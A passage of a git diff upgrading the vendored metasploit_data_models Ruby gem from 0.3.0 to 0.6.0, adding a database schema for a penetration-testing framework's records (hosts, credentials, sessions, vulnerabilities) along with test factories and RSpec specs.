b/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.6.0/spec/dummy/config/initializers/wrap_parameters.rb similarity index 100% rename from lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.3.0/spec/dummy/config/initializers/wrap_parameters.rb rename to lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.6.0/spec/dummy/config/initializers/wrap_parameters.rb diff --git a/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.3.0/spec/dummy/config/routes.rb b/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.6.0/spec/dummy/config/routes.rb similarity index 100% rename from lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.3.0/spec/dummy/config/routes.rb rename to lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.6.0/spec/dummy/config/routes.rb diff --git a/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.6.0/spec/dummy/db/schema.rb b/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.6.0/spec/dummy/db/schema.rb new file mode 100644 index 0000000000..bd6f124190 --- /dev/null +++ b/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.6.0/spec/dummy/db/schema.rb @@ -0,0 +1,638 @@ +# encoding: UTF-8 +# This file is auto-generated from the current state of the database. Instead +# of editing this file, please use the migrations feature of Active Record to +# incrementally modify your database, and then regenerate this schema definition. +# +# Note that this schema.rb definition is the authoritative source for your +# database schema. If you need to create the application database on another +# system, you should be using db:schema:load, not running all the migrations +# from scratch. The latter is a flawed and unsustainable approach (the more migrations +# you'll amass, the slower it'll run and the greater likelihood for issues). +# +# It's strongly recommended to check this file into your version control system. + +ActiveRecord::Schema.define(:version => 20130228214900) do + + create_table "api_keys", :force => true do |t| + t.text "token" + t.datetime "created_at", :null => false + t.datetime "updated_at", :null => false + end + + create_table "attachments", :force => true do |t| + t.string "name", :limit => 512 + t.binary "data" + t.string "content_type", :limit => 512 + t.boolean "inline", :default => true, :null => false + t.boolean "zip", :default => false, :null => false + t.integer "campaign_id" + end + + create_table "attachments_email_templates", :id => false, :force => true do |t| + t.integer "attachment_id" + t.integer "email_template_id" + end + + create_table "campaigns", :force => true do |t| + t.integer "workspace_id", :null => false + t.string "name", :limit => 512 + t.text "prefs" + t.integer "status", :default => 0 + t.datetime "started_at" + t.datetime "created_at", :null => false + t.datetime "updated_at", :null => false + end + + create_table "clients", :force => true do |t| + t.integer "host_id" + t.datetime "created_at" + t.string "ua_string", :limit => 1024, :null => false + t.string "ua_name", :limit => 64 + t.string "ua_ver", :limit => 32 + t.datetime "updated_at" + t.integer "campaign_id" + end + + create_table "creds", :force => true do |t| + t.integer "service_id", :null => false + t.datetime "created_at", :null => false + t.datetime "updated_at", :null => false + t.string "user", :limit => 2048 + t.string "pass", :limit => 4096 + t.boolean "active", :default => true + t.string "proof", :limit => 4096 + t.string "ptype", :limit => 256 + t.integer "source_id" + t.string "source_type" + end + + create_table "email_addresses", :force => true do |t| + t.integer "campaign_id", :null => false + t.string "first_name", :limit => 512 + t.string "last_name", :limit => 512 + t.string "address", :limit => 512 + t.boolean "sent", :default => false, :null => false + t.datetime "clicked_at" + end + + create_table "email_templates", :force => true do |t| + t.string "name", :limit => 512 + t.string "subject", :limit => 1024 + t.text "body" + t.integer "parent_id" + t.integer "campaign_id" + t.text "prefs" + end + + create_table "events", :force => true do |t| + t.integer "workspace_id" + t.integer "host_id" + t.datetime "created_at" + t.string "name" + t.datetime "updated_at" + t.boolean "critical" + t.boolean "seen" + t.string "username" + t.text "info" + end + + create_table "exploit_attempts", :force => true do |t| + t.integer "host_id" + t.integer "service_id" + t.integer "vuln_id" + t.datetime "attempted_at" + t.boolean "exploited" + t.string "fail_reason" + t.string "username" + t.text "module" + t.integer "session_id" + t.integer "loot_id" + t.integer "port" + t.string "proto" + t.text "fail_detail" + end + + create_table "exploited_hosts", :force => true do |t| + t.integer "host_id", :null => false + t.integer "service_id" + t.string "session_uuid", :limit => 8 + t.string "name", :limit => 2048 + t.string "payload", :limit => 2048 + t.datetime "created_at", :null => false + t.datetime "updated_at", :null => false + end + + create_table "host_details", :force => true do |t| + t.integer "host_id" + t.integer "nx_console_id" + t.integer "nx_device_id" + t.string "src" + t.string "nx_site_name" + t.string "nx_site_importance" + t.string "nx_scan_template" + t.float "nx_risk_score" + end + + create_table "hosts", :force => true do |t| + t.datetime "created_at" + t.string "address", :limit => nil + t.string "mac" + t.string "comm" + t.string "name" + t.string "state" + t.string "os_name" + t.string "os_flavor" + t.string "os_sp" + t.string "os_lang" + t.string "arch" + t.integer "workspace_id" + t.datetime "updated_at" + t.text "purpose" + t.string "info", :limit => 65536 + t.text "comments" + t.text "scope" + t.text "virtual_host" + t.integer "note_count", :default => 0 + t.integer "vuln_count", :default => 0 + t.integer "service_count", :default => 0 + t.integer "host_detail_count", :default => 0 + t.integer "exploit_attempt_count", :default => 0 + end + + add_index "hosts", ["address"], :name => "index_hosts_on_address" + add_index "hosts", ["name"], :name => "index_hosts_on_name" + add_index "hosts", ["os_flavor"], :name => "index_hosts_on_os_flavor" + add_index "hosts", ["os_name"], :name => "index_hosts_on_os_name" + add_index "hosts", ["purpose"], :name => "index_hosts_on_purpose" + add_index "hosts", ["state"], :name => "index_hosts_on_state" + + create_table "hosts_tags", :id => false, :force => true do |t| + t.integer "host_id" + t.integer "tag_id" + end + + create_table "imported_creds", :force => true do |t| + t.integer "workspace_id", :default => 1, :null => false + t.string "user", :limit => 512 + t.string "pass", :limit => 512 + t.string "ptype", :limit => 16, :default => "password" + end + + create_table "listeners", :force => true do |t| + t.datetime "created_at", :null => false + t.datetime "updated_at", :null => false + t.integer "workspace_id", :default => 1, :null => false + t.integer "task_id" + t.boolean "enabled", :default => true + t.text "owner" + t.text "payload" + t.text "address" + t.integer "port" + t.binary "options" + t.text "macro" + end + + create_table "loots", :force => true do |t| + t.integer "workspace_id", :default => 1, :null => false + t.integer "host_id" + t.integer "service_id" + t.string "ltype", :limit => 512 + t.string "path", :limit => 1024 + t.text "data" + t.datetime "created_at", :null => false + t.datetime "updated_at", :null => false + t.string "content_type" + t.text "name" + t.text "info" + end + + create_table "macros", :force => true do |t| + t.datetime "created_at", :null => false + t.datetime "updated_at", :null => false + t.text "owner" + t.text "name" + t.text "description" + t.binary "actions" + t.binary "prefs" + end + + create_table "mod_refs", :force => true do |t| + t.string "module", :limit => 1024 + t.string "mtype", :limit => 128 + t.text "ref" + end + + create_table "module_actions", :force => true do |t| + t.integer "module_detail_id" + t.text "name" + end + + add_index "module_actions", ["module_detail_id"], :name => "index_module_actions_on_module_detail_id" + + create_table "module_archs", :force => true do |t| + t.integer "module_detail_id" + t.text "name" + end + + add_index "module_archs", ["module_detail_id"], :name => "index_module_archs_on_module_detail_id" + + create_table "module_authors", :force => true do |t| + t.integer "module_detail_id" + t.text "name" + t.text "email" + end + + add_index "module_authors", ["module_detail_id"], :name => "index_module_authors_on_module_detail_id" + + create_table "module_details", :force => true do |t| + t.datetime "mtime" + t.text "file" + t.string "mtype" + t.text "refname" + t.text "fullname" + t.text "name" + t.integer "rank" + t.text "description" + t.string "license" + t.boolean "privileged" + t.datetime "disclosure_date" + t.integer "default_target" + t.text "default_action" + t.string "stance" + t.boolean "ready" + end + + add_index "module_details", ["description"], :name => "index_module_details_on_description" + add_index "module_details", ["mtype"], :name => "index_module_details_on_mtype" + add_index "module_details", ["name"], :name => "index_module_details_on_name" + add_index "module_details", ["refname"], :name => "index_module_details_on_refname" + + create_table "module_mixins", :force => true do |t| + t.integer "module_detail_id" + t.text "name" + end + + add_index "module_mixins", ["module_detail_id"], :name => "index_module_mixins_on_module_detail_id" + + create_table "module_platforms", :force => true do |t| + t.integer "module_detail_id" + t.text "name" + end + + add_index "module_platforms", ["module_detail_id"], :name => "index_module_platforms_on_module_detail_id" + + create_table "module_refs", :force => true do |t| + t.integer "module_detail_id" + t.text "name" + end + + add_index "module_refs", ["module_detail_id"], :name => "index_module_refs_on_module_detail_id" + add_index "module_refs", ["name"], :name => "index_module_refs_on_name" + + create_table "module_targets", :force => true do |t| + t.integer "module_detail_id" + t.integer "index" + t.text "name" + end + + add_index "module_targets", ["module_detail_id"], :name => "index_module_targets_on_module_detail_id" + + create_table "nexpose_consoles", :force => true do |t| + t.datetime "created_at", :null => false + t.datetime "updated_at", :null => false + t.boolean "enabled", :default => true + t.text "owner" + t.text "address" + t.integer "port", :default => 3780 + t.text "username" + t.text "password" + t.text "status" + t.text "version" + t.text "cert" + t.binary "cached_sites" + t.text "name" + end + + create_table "notes", :force => true do |t| + t.datetime "created_at" + t.string "ntype", :limit => 512 + t.integer "workspace_id", :default => 1, :null => false + t.integer "service_id" + t.integer "host_id" + t.datetime "updated_at" + t.boolean "critical" + t.boolean "seen" + t.text "data" + end + + add_index "notes", ["ntype"], :name => "index_notes_on_ntype" + + create_table "profiles", :force => true do |t| + t.datetime "created_at", :null => false + t.datetime "updated_at", :null => false + t.boolean "active", :default => true + t.text "name" + t.text "owner" + t.binary "settings" + end + + create_table "refs", :force => true do |t| + t.integer "ref_id" + t.datetime "created_at" + t.string "name", :limit => 512 + t.datetime "updated_at" + end + + add_index "refs", ["name"], :name => "index_refs_on_name" + + create_table "report_templates", :force => true do |t| + t.integer "workspace_id", :default => 1, :null => false + t.string "created_by" + t.string "path", :limit => 1024 + t.text "name" + t.datetime "created_at", :null => false + t.datetime "updated_at", :null => false + end + + create_table "reports", :force => true do |t| + t.integer "workspace_id", :default => 1, :null => false + t.string "created_by" + t.string "rtype" + t.string "path", :limit => 1024 + t.text "options" + t.datetime "created_at", :null => false + t.datetime "updated_at", :null => false + t.datetime "downloaded_at" + t.integer "task_id" + t.string "name", :limit => 63 + end + + create_table "routes", :force => true do |t| + t.integer "session_id" + t.string "subnet" + t.string "netmask" + end + + create_table "services", :force => true do |t| + t.integer "host_id" + t.datetime "created_at" + t.integer "port", :null => false + t.string "proto", :limit => 16, :null => false + t.string "state" + t.string "name" + t.datetime "updated_at" + t.text "info" + end + + add_index "services", ["name"], :name => "index_services_on_name" + add_index "services", ["port"], :name => "index_services_on_port" + add_index "services", ["proto"], :name => "index_services_on_proto" + add_index "services", ["state"], :name => "index_services_on_state" + + create_table "session_events", :force => true do |t| + t.integer "session_id" + t.string "etype" + t.binary "command" + t.binary "output" + t.string "remote_path" + t.string "local_path" + t.datetime "created_at" + end + + create_table "sessions", :force => true do |t| + t.integer "host_id" + t.string "stype" + t.string "via_exploit" + t.string "via_payload" + t.string "desc" + t.integer "port" + t.string "platform" + t.text "datastore" + t.datetime "opened_at", :null => false + t.datetime "closed_at" + t.string "close_reason" + t.integer "local_id" + t.datetime "last_seen" + end + + create_table "tags", :force => true do |t| + t.integer "user_id" + t.string "name", :limit => 1024 + t.text "desc" + t.boolean "report_summary", :default => false, :null => false + t.boolean "report_detail", :default => false, :null => false + t.boolean "critical", :default => false, :null => false + t.datetime "created_at", :null => false + t.datetime "updated_at", :null => false + end + + create_table "tasks", :force => true do |t| + t.integer "workspace_id", :default => 1, :null => false + t.string "created_by" + t.string "module" + t.datetime "completed_at" + t.string "path", :limit => 1024 + t.string "info" + t.string "description" + t.integer "progress" + t.text "options" + t.text "error" + t.datetime "created_at", :null => false + t.datetime "updated_at", :null => false + t.text "result" + t.string "module_uuid", :limit => 8 + t.binary "settings" + end + + create_table "users", :force => true do |t| + t.string "username" + t.string "crypted_password" + t.string "password_salt" + t.string "persistence_token" + t.datetime "created_at", :null => false + t.datetime "updated_at", :null => false + t.string "fullname" + t.string "email" + t.string "phone" + t.string "company" + t.string "prefs", :limit => 524288 + t.boolean "admin", :default => true, :null => false + end + + create_table "vuln_attempts", :force => true do |t| + t.integer "vuln_id" + t.datetime "attempted_at" + t.boolean "exploited" + t.string "fail_reason" + t.string "username" + t.text "module" + t.integer "session_id" + t.integer "loot_id" + t.text "fail_detail" + end + + create_table "vuln_details", :force => true do |t| + t.integer "vuln_id" + t.float "cvss_score" + t.string "cvss_vector" + t.string "title" + t.text "description" + t.text "solution" + t.binary "proof" + t.integer "nx_console_id" + t.integer "nx_device_id" + t.string "nx_vuln_id" + t.float "nx_severity" + t.float "nx_pci_severity" + t.datetime "nx_published" + t.datetime "nx_added" + t.datetime "nx_modified" + t.text "nx_tags" + t.text "nx_vuln_status" + t.text "nx_proof_key" + t.string "src" + t.integer "nx_scan_id" + t.datetime "nx_vulnerable_since" + t.string "nx_pci_compliance_status" + end + + create_table "vulns", :force => true do |t| + t.integer "host_id" + t.integer "service_id" + t.datetime "created_at" + t.string "name" + t.datetime "updated_at" + t.string "info", :limit => 65536 + t.datetime "exploited_at" + t.integer "vuln_detail_count", :default => 0 + t.integer "vuln_attempt_count", :default => 0 + end + + add_index "vulns", ["name"], :name => "index_vulns_on_name" + + create_table "vulns_refs", :id => false, :force => true do |t| + t.integer "ref_id" + t.integer "vuln_id" + end + + create_table "web_forms", :force => true do |t| + t.integer "web_site_id", :null => false + t.datetime "created_at", :null => false + t.datetime "updated_at", :null => false + t.text "path" + t.string "method", :limit => 1024 + t.text "params" + t.text "query" + end + + add_index "web_forms", ["path"], :name => "index_web_forms_on_path" + + create_table "web_pages", :force => true do |t| + t.integer "web_site_id", :null => false + t.datetime "created_at", :null => false + t.datetime "updated_at", :null => false + t.text "path" + t.text "query" + t.integer "code", :null => false + t.text "cookie" + t.text "auth" + t.text "ctype" + t.datetime "mtime" + t.text "location" + t.text "headers" + t.binary "body" + t.binary "request" + end + + add_index "web_pages", ["path"], :name => "index_web_pages_on_path" + add_index "web_pages", ["query"], :name => "index_web_pages_on_query" + + create_table "web_sites", :force => true do |t| + t.integer "service_id", :null => false + t.datetime "created_at", :null => false + t.datetime "updated_at", :null => false + t.string "vhost", :limit => 2048 + t.text "comments" + t.text "options" + end + + add_index "web_sites", ["comments"], :name => "index_web_sites_on_comments" + add_index "web_sites", ["options"], :name => "index_web_sites_on_options" + add_index "web_sites", ["vhost"], :name => "index_web_sites_on_vhost" + + create_table "web_templates", :force => true do |t| + t.string "name", :limit => 512 + t.string "title", :limit => 512 + t.string "body", :limit => 524288 + t.integer "campaign_id" + t.text "prefs" + end + + create_table "web_vulns", :force => true do |t| + t.integer "web_site_id", :null => false + t.datetime "created_at", :null => false + t.datetime "updated_at", :null => false + t.text "path", :null => false + t.string "method", :limit => 1024, :null => false + t.text "params", :null => false + t.text "pname", :null => false + t.integer "risk", :null => false + t.string "name", :limit => 1024, :null => false + t.text "query" + t.text "category", :null => false + t.text "confidence", :null => false + t.text "description" + t.text "blame" + t.binary "request" + t.binary "proof", :null => false + t.string "owner" + t.text "payload" + end + + add_index "web_vulns", ["method"], :name => "index_web_vulns_on_method" + add_index "web_vulns", ["name"], :name => "index_web_vulns_on_name" + add_index "web_vulns", ["path"], :name => "index_web_vulns_on_path" + + create_table "wmap_requests", :force => true do |t| + t.string "host" + t.string "address", :limit => nil + t.integer "port" + t.integer "ssl" + t.string "meth", :limit => 32 + t.text "path" + t.text "headers" + t.text "query" + t.text "body" + t.string "respcode", :limit => 16 + t.text "resphead" + t.text "response" + t.datetime "created_at" + t.datetime "updated_at" + end + + create_table "wmap_targets", :force => true do |t| + t.string "host" + t.string "address", :limit => nil + t.integer "port" + t.integer "ssl" + t.integer "selected" + t.datetime "created_at" + t.datetime "updated_at" + end + + create_table "workspace_members", :id => false, :force => true do |t| + t.integer "workspace_id", :null => false + t.integer "user_id", :null => false + end + + create_table "workspaces", :force => true do |t| + t.string "name" + t.datetime "created_at", :null => false + t.datetime "updated_at", :null => false + t.string "boundary", :limit => 4096 + t.string "description", :limit => 4096 + t.integer "owner_id" + t.boolean "limit_to_network", :default => false, :null => false + end + +end diff --git a/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.3.0/spec/dummy/lib/assets/.gitkeep b/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.6.0/spec/dummy/lib/assets/.gitkeep similarity index 100% rename from lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.3.0/spec/dummy/lib/assets/.gitkeep rename to lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.6.0/spec/dummy/lib/assets/.gitkeep diff --git a/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.3.0/spec/dummy/log/.gitkeep b/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.6.0/spec/dummy/log/.gitkeep similarity index 100% rename from lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.3.0/spec/dummy/log/.gitkeep rename to lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.6.0/spec/dummy/log/.gitkeep diff --git a/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.3.0/spec/dummy/public/404.html b/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.6.0/spec/dummy/public/404.html similarity index 100% rename from lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.3.0/spec/dummy/public/404.html rename to lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.6.0/spec/dummy/public/404.html diff --git a/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.3.0/spec/dummy/public/422.html b/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.6.0/spec/dummy/public/422.html similarity index 100% rename from lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.3.0/spec/dummy/public/422.html rename to lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.6.0/spec/dummy/public/422.html diff --git a/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.3.0/spec/dummy/public/500.html b/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.6.0/spec/dummy/public/500.html similarity index 100% rename from lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.3.0/spec/dummy/public/500.html rename to lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.6.0/spec/dummy/public/500.html diff --git a/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.3.0/spec/dummy/public/favicon.ico b/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.6.0/spec/dummy/public/favicon.ico similarity index 100% rename from lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.3.0/spec/dummy/public/favicon.ico rename to lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.6.0/spec/dummy/public/favicon.ico diff --git a/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.3.0/spec/dummy/script/rails b/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.6.0/spec/dummy/script/rails similarity index 100% rename from lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.3.0/spec/dummy/script/rails rename to lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.6.0/spec/dummy/script/rails diff --git a/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.6.0/spec/factories/mdm/addresses.rb b/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.6.0/spec/factories/mdm/addresses.rb new file mode 100644 index 0000000000..32112b667f --- /dev/null +++ b/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.6.0/spec/factories/mdm/addresses.rb @@ -0,0 +1,7 @@ +FactoryGirl.define do + sequence :mdm_ipv4_address do |n| + max = 255 + + "192.168.#{(n / max).to_i}.#{n % max}" + end +end \ No newline at end of file diff --git a/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.6.0/spec/factories/mdm/hosts.rb b/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.6.0/spec/factories/mdm/hosts.rb new file mode 100644 index 0000000000..4eaa10e76d --- /dev/null +++ b/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.6.0/spec/factories/mdm/hosts.rb @@ -0,0 +1,18 @@ +FactoryGirl.define do + factory :mdm_host, :class => Mdm::Host do + # + # Associations + # + association :workspace, :factory => :mdm_workspace + + # + # Attributes + # + address { generate :mdm_ipv4_address } + name { generate :mdm_host_name } + end + + sequence :mdm_host_name do |n| + "mdm_host_#{n}" + end +end \ No newline at end of file diff --git a/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.6.0/spec/factories/mdm/services.rb b/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.6.0/spec/factories/mdm/services.rb new file mode 100644 index 0000000000..0c7e02a593 --- /dev/null +++ b/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.6.0/spec/factories/mdm/services.rb @@ -0,0 +1,35 @@ +FactoryGirl.define do + factory :mdm_service, :class => Mdm::Service do + # + # Associations + # + association :host, :factory => :mdm_host + + # + # Attributes + # + port 4567 + proto 'snmp' + state 'open' + + factory :web_service do + proto 'tcp' + name { FactoryGirl.generate(:web_service_name) } + port { FactoryGirl.generate(:port) } + end + end + + port_bits = 16 + port_limit = 1 << port_bits + + sequence :port do |n| + n % port_limit + end + + web_service_names = ['http', 'https'] + web_service_name_count = web_service_names.length + + sequence :web_service_name do |n| + web_service_names[n % web_service_name_count] + end +end \ No newline at end of file diff --git a/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.6.0/spec/factories/mdm/users.rb b/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.6.0/spec/factories/mdm/users.rb new file mode 100644 index 0000000000..46179882b3 --- /dev/null +++ b/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.6.0/spec/factories/mdm/users.rb @@ -0,0 +1,22 @@ +FactoryGirl.define do + factory :mdm_user, :class => Mdm::User do + admin true + company "Interplanetary Teleportation, LTD" + email "rwillingham@itl.com" + fullname { generate :mdm_user_fullname } + phone "5123334444" + username { generate :mdm_user_username } + end + + factory :non_admin_mdm_user, :parent => :mdm_user do + admin false + end + + sequence :mdm_user_fullname do |n| + "Mdm User Fullname the #{n.ordinalize}" + end + + sequence :mdm_user_username do |n| + "mdm_user_username#{n}" + end +end \ No newline at end of file diff --git a/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.6.0/spec/factories/mdm/web_sites.rb b/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.6.0/spec/factories/mdm/web_sites.rb new file mode 100644 index 0000000000..071b83c451 --- /dev/null +++ b/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.6.0/spec/factories/mdm/web_sites.rb @@ -0,0 +1,8 @@ +FactoryGirl.define do + factory :mdm_web_site, :class => Mdm::WebSite do + # + # Associations + # + association :service, :factory => :mdm_service + end +end \ No newline at end of file diff --git a/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.6.0/spec/factories/mdm/web_vulns.rb b/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.6.0/spec/factories/mdm/web_vulns.rb new file mode 100644 index 0000000000..4bba254c7b --- /dev/null +++ b/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.6.0/spec/factories/mdm/web_vulns.rb @@ -0,0 +1,64 @@ +FactoryGirl.define do + factory :mdm_web_vuln, :class => Mdm::WebVuln do + # + # Associations + # + association :web_site, :factory => :mdm_web_site + + # + # Attributes + # + + category { generate :mdm_web_vuln_category } + confidence { generate :mdm_web_vuln_confidence } + method { generate :mdm_web_vuln_method } + name { generate :mdm_web_vuln_name } + path { generate :mdm_web_vuln_path } + params { generate :mdm_web_vuln_params } + pname { params.first.first } + proof { generate :mdm_web_vuln_proof } + risk { generate :mdm_web_vuln_risk } + end + + sequence :mdm_web_vuln_category do |n| + "mdm_web_vuln_category_#{n}" + end + + sequence :mdm_web_vuln_confidence do |n| + # range is from 1 to 100 so do mod 99 (0 - 99 range) and add 1 to get correct range + (n % 99) + 1 + end + + method_count = Mdm::WebVuln::METHODS.length + + sequence :mdm_web_vuln_method do |n| + Mdm::WebVuln::METHODS[n % method_count] + end + + sequence :mdm_web_vuln_name do |n| + "Web Vulnerability #{n}" + end + + sequence :mdm_web_vuln_path do |n| + "path/to/vulnerability/#{n}" + end + + sequence :mdm_web_vuln_params do |n| + [ + [ + "param#{n}", + "value#{n}" + ] + ] + end + + sequence :mdm_web_vuln_proof do |n| + "Mdm::WebVuln Proof #{n}" + end + + sequence :mdm_web_vuln_risk do |n| + # range is 0 .. 5 + n % 6 + + end +end \ No newline at end of file diff --git a/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.6.0/spec/factories/mdm/workspaces.rb b/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.6.0/spec/factories/mdm/workspaces.rb new file mode 100644 index 0000000000..38ffbc9077 --- /dev/null +++ b/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.6.0/spec/factories/mdm/workspaces.rb @@ -0,0 +1,23 @@ +FactoryGirl.define do + factory :mdm_workspace, :class => Mdm::Workspace do + # + # Associations + # + association :owner, :factory => :mdm_user + + # + # Attributes + # + boundary { generate :mdm_ipv4_address } + description { generate :mdm_workspace_description } + name { generate :mdm_workspace_name } + end + + sequence :mdm_workspace_description do |n| + "Mdm::Workspace description #{n}" + end + + sequence :mdm_workspace_name do |n| + "Mdm::Workspace Name #{n}" + end +end \ No newline at end of file diff --git a/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.6.0/spec/lib/base64_serializer_spec.rb b/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.6.0/spec/lib/base64_serializer_spec.rb new file mode 100755 index 0000000000..89e48a684b --- /dev/null +++ b/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.6.0/spec/lib/base64_serializer_spec.rb @@ -0,0 +1,174 @@ +require "spec_helper" + +describe MetasploitDataModels::Base64Serializer do + let(:base64_marshaled) do + marshaled = Marshal.dump(unserialized) + + [ + marshaled + ].pack('m') + end + + let(:default) do + {} + end + + let(:unserialized) do + { + :foo => 'bar', + :baz => 'baz' + } + end + + let(:yaml) do + unserialized.to_yaml + end + + subject(:base64_serializer) do + described_class.new + end + + context 'CONSTANTS' do + it 'should define DEFAULT' do + described_class::DEFAULT.should == default + end + + context 'LOADERS' do + it 'should prefer base64 marshaled first' do + first = described_class::LOADERS[0] + deserialized = first.call(base64_marshaled) + + deserialized.should == unserialized + end + + it 'should fallback to the old YAML format second' do + second = described_class::LOADERS[1] + deserialized = second.call(yaml) + + deserialized.should == unserialized + end + + it 'should finally give up and just return the value' do + last = described_class::LOADERS.last + deserialized = last.call(unserialized) + + deserialized.should == unserialized + end + end + end + + context '#default' do + it 'should default to {}' do + base64_serializer.default.should == {} + end + + it 'should return a duplicate' do + duplicate = base64_serializer.default + value = mock('Value') + duplicate[:key] = value + + duplicate.should_not == base64_serializer.default + end + end + + context '#dump' do + it 'should output Base64 encoded marshaled data' do + dumped = base64_serializer.dump(unserialized) + + dumped.should == base64_marshaled + end + end + + context '#initialize' do + let(:attributes) do + {} + end + + subject(:base64_serializer) do + described_class.new(attributes) + end + + context 'with :default' do + let(:attributes) do + { + :default => default + } + end + + let(:default) do + [ + [ + 'param', + 'value' + ] + ] + end + + it 'should have :default in attributes' do + attributes.should have_key(:default) + end + + it 'should set default to :default value' do + base64_serializer.default.should == attributes[:default] + end + end + + context 'without :default' do + it 'should not have :default in attributes' do + attributes.should_not have_key(:default) + end + + it 'should default #default to DEFAULT' do + base64_serializer.default.should == default + end + end + end + + context '#load' do + context 'with nil' do + let(:serialized) do + nil + end + + it 'should return #default' do + default = mock('Default') + base64_serializer.stub(:default => default) + deserialized = base64_serializer.load(serialized) + + deserialized.should == default + end + end + + context 'with Base64 encoded marshaled' do + it 'should return unserialized' do + deserialized = base64_serializer.load(base64_marshaled) + + deserialized.should == unserialized + end + + end + + context 'with YAML' do + it 'should return unserialized' do + deserialized = base64_serializer.load(yaml) + + deserialized.should == unserialized + end + end + + context 'without Base64 encoded marshaled' do + context 'without YAML' do + let(:raw_value) do + "< a > b >" + end + + it 'should return raw value' do + deserialized = base64_serializer.load(raw_value) + + deserialized.should == raw_value + end + end + end + end +end + diff --git a/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.3.0/spec/spec_helper.rb b/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.6.0/spec/spec_helper.rb similarity index 64% rename from lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.3.0/spec/spec_helper.rb rename to lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.6.0/spec/spec_helper.rb index 66d1de6804..a619986a96 100755 --- a/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.3.0/spec/spec_helper.rb +++ b/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.6.0/spec/spec_helper.rb @@ -2,6 +2,8 @@ ENV['RAILS_ENV'] = 'test' require File.expand_path('../dummy/config/environment.rb', __FILE__) +require 'rspec/rails' +require 'rspec/autorun' require 'rubygems' require 'bundler' @@ -11,6 +13,8 @@ Bundler.require(:default, :test) # full backtrace in logs so its easier to trace errors Rails.backtrace_cleaner.remove_silencers! +require 'simplecov' + # Requires supporting ruby files with custom matchers and macros, etc, # in spec/support/ and its subdirectories. support_glob = MetasploitDataModels.root.join('spec', 'support', '**', '*.rb') @@ -20,5 +24,12 @@ Dir.glob(support_glob) do |path| end RSpec.configure do |config| + config.before(:each) do + # Rex is only available when testing with metasploit-framework or pro, so stub out the methods that require it + Mdm::Workspace.any_instance.stub(:valid_ip_or_range? => true) + end + config.mock_with :rspec + config.use_transactional_fixtures = true + config.order = :random end diff --git a/lib/gemcache/ruby/1.9.1/specifications/metasploit_data_models-0.3.0.gemspec b/lib/gemcache/ruby/1.9.1/specifications/metasploit_data_models-0.6.0.gemspec similarity index 72% rename from lib/gemcache/ruby/1.9.1/specifications/metasploit_data_models-0.3.0.gemspec rename to lib/gemcache/ruby/1.9.1/specifications/metasploit_data_models-0.6.0.gemspec index 7b728268c3..4a19d34025 100644 --- 